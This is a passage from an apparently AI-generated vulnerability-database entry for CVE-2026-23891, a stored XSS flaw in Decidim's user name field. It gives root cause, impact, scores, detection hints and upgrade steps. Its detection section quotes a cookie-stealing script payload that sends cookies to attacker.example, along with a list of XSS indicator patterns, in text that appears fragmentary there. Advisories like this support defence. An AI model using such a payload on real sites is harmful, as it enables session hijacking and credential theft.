
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-23891 is a stored Cross-Site Scripting (XSS) vulnerability in the user name field of Decidim, an open-source participatory democracy platform. It allows a low-privileged attacker to inject and persistently store malicious scripts that execute in the browser context of any user who passively visits a comment page. The vulnerability affects the decidim-core RubyGems package in versions prior to 0.30.5 and versions 0.31.0.rc1 through 0.31.0 (fixed in 0.31.1). It was disclosed on April 13, 2026, and carries a CVSS v4.0 base score of 9.3 (Critical) and a CVSS v3.1 base score of 8.7 (High) (Github Advisory, Decidim Advisory).
The root cause is improper neutralization of user-controllable input in the user name field before it is rendered in web pages served to other users (CWE-79: Stored XSS). When a user sets a malicious display name containing JavaScript payloads, the application fails to sanitize or encode the input before embedding it in comment pages, violating OWASP ASVS v4.0.3-5.1.3 output encoding requirements. The attack vector is network-based, requires only low privileges (a standard user account), and is triggered passively — victims do not need to click any link, only visit a page where the attacker's username is rendered. The vulnerability was discovered during a security audit organized by octree and conducted by Secu Labs on behalf of the city of Lausanne, Switzerland (Github Advisory, Decidim Advisory).
Successful exploitation enables arbitrary JavaScript execution in the browser context of any user who views a comment page where the attacker's username is displayed, crossing security boundaries. This can result in session hijacking, credential theft, unauthorized actions performed on behalf of victim users, and access to sensitive information visible to those users. Both confidentiality and integrity impacts are rated High across both the vulnerable and subsequent systems, with low availability impact; availability of the platform itself is not directly affected (Github Advisory, Feedly).
There is no public proof-of-concept exploit code known at this time, and no evidence of in-the-wild exploitation has been reported (Github Advisory). No threat actor attribution is available. The EPSS score is approximately 0.053% (17th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Despite the lack of active exploitation, the low barrier to entry — requiring only a standard user account — makes it a realistic threat on any unpatched Decidim instance.
<script>document.location='https://attacker.example/steal?c='+document.cookie</script> or a more subtle event-handler-based payload.<script>, onerror=, onload=, javascript:), or encoded variants thereof; comments authored by accounts with suspicious or malformed usernames.Decidim has released patched versions that address this vulnerability: v0.30.5 (for the 0.30.x branch) and v0.31.1 (for the 0.31.x branch). Administrators should upgrade immediately by updating the decidim and decidim-dev gems in their Gemfile and running bundle update decidim, bin/rails decidim:upgrade, and bin/rails db:migrate (v0.30.5 Release, v0.31.1 Release). No official workarounds are available from the vendor. As interim mitigations, administrators may consider implementing a strict Content Security Policy (CSP) header to limit script execution, applying input validation and output encoding at the application level per OWASP ASVS v4.0.3-5.1.3, and monitoring user accounts for suspicious display names containing HTML or JavaScript.
The vulnerability was discovered through a formal security audit commissioned by the city of Lausanne, Switzerland, organized by octree and conducted by Secu Labs, reflecting growing municipal investment in open-source platform security (Decidim Advisory). The advisory was published by the Decidim project maintainers on April 13, 2026, with coordinated disclosure and patch release. No significant broader media coverage or notable independent researcher commentary has been identified beyond the standard vulnerability database entries.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."